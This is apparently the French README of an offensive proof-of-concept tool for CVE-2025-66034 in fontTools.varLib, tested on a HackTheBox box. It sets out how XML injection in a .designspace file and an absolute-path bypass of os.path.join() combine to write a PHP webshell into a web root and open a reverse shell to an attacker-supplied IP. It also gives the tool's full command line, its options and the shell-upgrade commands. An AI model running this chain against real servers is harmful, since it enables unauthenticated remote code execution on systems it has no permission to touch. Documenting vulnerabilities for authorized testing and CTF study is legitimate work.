
CVE-2025-66034 - fontTools varLib Écriture arbitraire de fichier → RCE Preuve de concept (PoC) d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier + injection XML dans fontTools.varLib.
Exploit PoC pour une vulnérabilité d'écriture arbitraire de fichiers + injection XML dans
fontTools.varLibTesté sur HackTheBox — VarIaType
fontTools.varLib traite des fichiers XML .designspace pour construire des polices variables. Deux faiblesses se combinent pour obtenir une exécution de code à distance (RCE) sans authentification :
| # | Primitive | Détail |
|---|
| 1 | Injection XML via split de CDATA | Le contenu contrôlé par l'attaquant dans <labelname> est écrit textuellement dans le corps du fichier de police de sortie, permettant l'injection de données arbitraires |
| 2 | Écriture arbitraire de fichier via contournement de os.path.join() | L'attribut filename de <variable-font> accepte un chemin absolu. Lorsqu'il est passé à os.path.join(), il ignore le répertoire de sortie prévu et écrit dans n'importe quel chemin du système de fichiers spécifié par l'attaquant |
L'enchaînement des deux primitives permet d'écrire un webshell PHP dans un chemin accessible via le web, réalisant une exécution de code à distance sans authentification.
python3 font_varlib.py \
--ip <ip-attquant> \
--port <port> \
--upload http://cible.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.cible.htb/public/files \
--shell http://portal.cible.htb/files
| Option | Description |
|---|---|
--ip | IP de l'attaquant pour le callback du reverse shell |
--port | Port d'écoute |
--upload | URL complète du point de terminaison de traitement des polices (POST) |
--webroot | Chemin absolu côté serveur qui correspond à un répertoire accessible via le web |
--shell | URL de base sous laquelle le webshell sera accessible |
--no-listen | Ignorer l'écoute automatique — afficher les commandes manuelles à la place |
--pwncat | Utiliser pwncat-cs au lieu de nc (préféré si disponible) |
pip install requests fonttools
.ttf minimaux (source-light.ttf, source-regular.ttf) sont générés à l'aide de fontTools.FontBuilder comme maîtresses requises pour le designspace.designspace malveillant — Un fichier XML est construit contenant :
<labelname>filename de <variable-font>, contournant output_dir via os.path.join().designspace + les polices maîtresses sont envoyés au point de terminaison de traitement.php placé est demandé, exécutant la charge utile du reverse shellpython3 -c 'import pty; pty.spawn("/bin/bash")' et définit TERM + stty pour un shell entièrement interactif| Champ | |
|---|---|
| CVE | CVE-2025-66034 |
| Composant affecté | fontTools.varLib |
| Impact | Écriture arbitraire de fichier sans authentification → Exécution de code à distance |
| Contexte | Application web exposant un point de terminaison de traitement de polices |
Cet outil est destiné uniquement aux tests d'intrusion autorisés et aux CTF. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.
par 4nuxd